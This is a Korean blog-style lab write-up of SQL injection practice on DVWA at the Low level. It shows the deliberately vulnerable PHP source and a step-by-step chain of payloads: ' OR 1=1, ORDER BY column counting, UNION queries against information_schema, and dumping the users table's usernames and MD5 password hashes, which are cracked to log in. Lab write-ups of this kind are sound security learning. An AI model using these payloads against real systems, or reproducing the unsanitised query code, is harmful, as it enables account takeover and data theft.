
SQL Injection은 공격자가 웹 애플리케이션의 SQL 쿼리문에 악의적인 코드를 삽입하여 데이터베이스를 조작하거나 정보에 불법적으로 접근하는 공격 방식입니다
더 자세히 알고싶다면 제가 정리한 SQL Injection에 대해 알아보기 를 읽어보시면 좋을 것 같습니다
우선 Docker를 통한 DVWA 웹 서버 구축하기 를 완료했다면 이제 로그인을 한 후 SQL Injection으로 들어가봅시다
본 실습은 DVWA 환경을 구축한 후 가장 취약한 환경인
Low레벨에서 진행되었습니다!
 현재 저는 아무것도 모르니 아무거나 넣어봅시다
 현재 저는 아무것도 모르니 아무거나 넣어봅시다
 1을 넣었더니 ID와 First name, Surname이 출력되는 것을 확인할 수 있습니다
 1을 넣었더니 ID와 First name, Surname이 출력되는 것을 확인할 수 있습니다
1~5까지의 숫자를 넣어보니 각 ID에 대해 First name과 Surname이 출력되네요!
하지만 다른 것을 입력하면 그냥 아무것도 나오지 않습니다
다음으로 View Source를 클릭해 소스코드를 확인해봅시다 그럼 아래와 같은 코드가 나타납니다!
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
    mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>SQL Injection인만큼 $query에 있는 쿼리문을 확인해봅시다
SELECT first_name, last_name FROM users WHERE user_id = '$id';이를 살펴보면 users라는 테이블에서 user_id가 $id인 first_name과 last_name을 출력하는 것을 알 수 있습니다
그리고 이 SQL 구문이 DBMS로 전송이 되는 것을 확인할 수 있습니다
중요한 점은 id라는 매개변수에 필터링 없이 사용자의 입력이 저장된다는 점입니다!
이번에는 '를 한번 넣어봅시다 그럼 아래와 같은 문장이 나타나네요
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1소스코드에서 오류가 발생하면 die()를 사용하여 쿼리의 에러를 출력하는 것을 알 수 있는데 이는 불필요한 DB 정보를 노출하는 것 입니다
그렇기에 이런 정보들이 노출되지 않도록 쿼리가 실패해도 데이터가 존재하지 않을 때와 같은 반응이 나타나야합니다
그렇다면 다음으로는 ' OR 1=1 --을 넣어봅시다 그러면 쿼리는 아래와 같이 나타나게 됩니다
SELECT first_name, last_name FROM users WHERE user_id = '' OR '1'='1' --';이 쿼리는 OR 논리 연산자를 이용해 user_id 가 공백이거나 1=1일 때 first_name, last_name을 출력합니다
즉 이 쿼리는 보통 로그인 폼을 SQL Injection 공격을 이용하여 우회할 경우 많이 사용되는 구문입니다
User ID에 입력하게되면 아래와 같은 결과가 나타나게 됩니다
 이를 통해 DB에 저장된 모든 계정의 first_name과 last_name이 출력되는 것을 확인할 수 있습니다
 이를 통해 DB에 저장된 모든 계정의 first_name과 last_name이 출력되는 것을 확인할 수 있습니다
보통 로그인 폼의 경우
SELECT * FROM users WHERE user_id = '$id' and user_pw = '$pw';위와 같은 SQL 쿼리를 이용하여 로그인 인증을 많이 구현하고 있는데 위 쿼리의 WHERE 절을 항상 참인 조건으로 만들어 SELECT * FROM users 와 같은 쿼리 효과를 만들어 로그인 자체를 우회하는 공격에 많이 이용됩니다
실습용으로만 활용하고 허가 받지 않은 곳에 악의적인 공격으로 활용하지 않도록 합시다! 모든 법적 책임은 본인에게 있습니다!
다음으로는 컬럼의 개수를 확인해봅시다
SELECT문에서 ORDER BY는 컬럼을 받아 해당 컬럼을 기준으로 오름차순, 내림차순으로 정렬을 할 수 있습니다
그럼 컬럼명을 알아야하지 않냐?는 질문을 할 수도 있는데 ORDER BY의 경우 1, 2 처럼 숫자를 입력해 첫번째 컬럼, 두번째 컬럼 이런식으로 지정이 가능합니다
즉 이 숫자를 늘려가면서 최대 컬럼의 개수를 확인할 수 있다는 것입니다!
위에서 적용한 방식과 비슷한 방식으로 id에 1' order by 2 -- 을 넣어봅시다
그럼 아래와 같은 쿼리가 됩니다
SELECT first_name, last_name FROM users WHERE user_id = '' OR '1' order by 2 --';user_id가 공백이거나 1인 first_name과 last_name을 출력하는데 2번째 컬럼으로 정렬을 합니다
그럼 직접 입력해봅시다
 이렇게 나타나게 됩니다 그럼 숫자를 늘려봅시다
 이렇게 나타나게 됩니다 그럼 숫자를 늘려봅시다
그럼 다음과 같이 나타납니다
Unknown column '3' in 'order clause'이를 통해 3번째 컬럼은 존재하지 않는 것을 알 수 있습니다
즉, 입력된 숫자가 원본 테이블의 컬럼 개수보다 더 클 경우 오류가 발생하는 점을 이용해 컬럼의 개수를 알 수 있습니다
다음으로는 UNION 구문을 이용해 DB에 대한 정보를 알아내고자 합니다
UNION 구문을 이용하기 전 컬럼의 개수를 구했습니다
이는 UNION은 원본 SELECT문이 검색하는 컬럼의 개수와 데이터 형식이 동일해야 오류가 발생하지 않기 때문입니다
그럼 이제 위에서 구한 컬럼의 개수를 기반으로 UNION을 작성해봅시다
그리고 SELECT에 database(), @@version, @@hostname을 입력해봅시다
database(): 현재 사용 중인 데이터베이스의 이름을 반환하는 함수입니다
@@version,@@hostname: 시스템 변수로 각각 현재 데이터베이스 서버의 설정 및 정보를 나타내는 값들입니다
| 변수 | 의미 | 
|---|---|
| @@version | 데이터베이스의 버전 정보 | 
| @@hostname | 데이터베이스가 설치된 서버의 호스트 이름 | 
| @@datadir | 데이터베이스 데이터 파일이 저장된 경로 | 
| @@basedir | MySQL이 설치된 기본 경로 | 
| @@port | MySQL 서버가 사용하는 포트 번호 | 
| @@version_compile_os | DB를 빌드한 운영체제 정보 | 
그럼 쿼리는 다음과 같습니다
SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT database(), @@version -- ';결과는 아래와 같습니다
 DB이름은
 DB이름은 dvwa, DBMS 버전은 10.1.26-MariaDB-0+deb9u1인 것을 확인할 수 있습니다
호스트 네임의 경우 6da721ffbc91였습니다
다른 방식으로도 DB 이름을 조회할 수 있습니다
DB에는 데이터를 위한 데이터로 메타데이터가 있습니다 MySQL을 기반으로 한 DB는 INFORMATION_SCHEMA가 메타데이터입니다
여기에는 데이터베이스에 대한 구조를 알 수 있습니다
그 중 SCHEMATA 테이블에서 스키마의 이름을 조회할 수 있습니다
이제 UNION 구문을 한 번 더 작성해봅시다
' UNION SELECT schema_name, null FROM information_schema.schemata --이를 입력하면 아래와 같이 나타납니다!
 스키마 이름으로 dvwa가 뜨는 것을 확인할 수 있습니다!
 스키마 이름으로 dvwa가 뜨는 것을 확인할 수 있습니다!
이 dvwa라는 데이터베이스에 우리가 원하는 정보들이 있지 않을까요?
데이터베이스에 접근해 다른 정보들도 알아내봅시다!
이번에는 먼저 dvwa 데이터베이스에서 어떤 테이블들이 있는지 알아봅시다
테이블에 대한 정보는 information_schema.tables에서 조회할 수 있습니다
' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema = 'dvwa' --이를 추가하여 아래와 같이 dvwa 데이터베이스에 있는 모든 테이블들을 조회할 수 있습니다
 
 guestbook이라는 테이블과 users 테이블이 같이 조회되었네요
역시 users 테이블에 우리가 원하는 사용자 계정 정보가 있지 않을까요? users 테이블의 컬럼부터 확인해봅시다
아래와 같은 입력을 통해 컬럼들을 알아내봅시다
' UNION SELECT column_name, null from information_schema.columns where table_name = 'users' --  이렇게 다양한 컬럼들이 나타나네요!
 이렇게 다양한 컬럼들이 나타나네요!
이 중에서 user와 password 컬럼이 아무래도 계정 정보 및 패스워드가 있을 것 같으니 두 컬럼들을 조회해봅시다
아래와 같은 입력을 통해 정보를 알아냅시다
' UNION SELECT user, password from users -- 이렇게 모든 사용자 계정과 패스워드를 조회된 것을 확인할 수 있습니다!
 이렇게 모든 사용자 계정과 패스워드를 조회된 것을 확인할 수 있습니다!
패스워드의 경우 암호화가 되어있는데 32자리인 것을 보니 MD5일 것으로 예상됩니다
참고로 현재 MD5 알고리즘은 취약한 암호화 알고리즘 중 하나입니다
저는 1337 계정이 마음에 드니 이 계정의 패스워드를 복호화 해보겠습니다!
 charley라는 생각보다 많이 단순한 패스워드였네요!
 charley라는 생각보다 많이 단순한 패스워드였네요!
이는 아무리 해시값이어도 약한 해시 함수를 사용했거나 잘 알려진 비밀번호일 경우 쉽게 역연산이 가능한 것을 보여줍니다
그럼 이제 이 복호화된 패스워드로 로그인을 해봅시다
 로그인을 시도해보니 아래에 성공적으로 로그인한 것을 확인할 수 있습니다
 로그인을 시도해보니 아래에 성공적으로 로그인한 것을 확인할 수 있습니다
이제 이 계정은 제거입니다^^
지금까지 Low 레벨에서의 SQL Injection 실습을 해보았습니다!
Low 레벨 같은 경우는 완전 취약했으나 처음 SQL Injection을 해보았기에 쿼리문을 보고 딱 모든 계정의 이름을 알아내는 정도까지만 직접 할 수 있었습니다
그 이후부터는 아무리 SQL을 할 줄 알아도 정보를 알아내는 방법을 미처 생각하지 못해 블로그 등을 보고 따라갔으며 특히 database()나 시스템 변수 같은 것들을 전혀 모르다보니 데이터베이스에 대한 공부가 더 필요한 것을 느꼈습니다
그리고 공격방식이 많이 쉬워 정말 마음만 먹으면 특정 사이트의 정보를 탈취하는 것도 가능할 것 같다고 느꼈습니다
위에서도 강조했지만 절대 허가 받지 않은 곳에 악의적인 공격으로 활용하지 않도록 합시다
아직은 완전 초보 단계이지만 확실히 실습을 해보니 더 재미를 느끼는 것 같습니다
더 나아가 더 높은 보안 레벨에서도 풀 수 있도록 해보겠습니다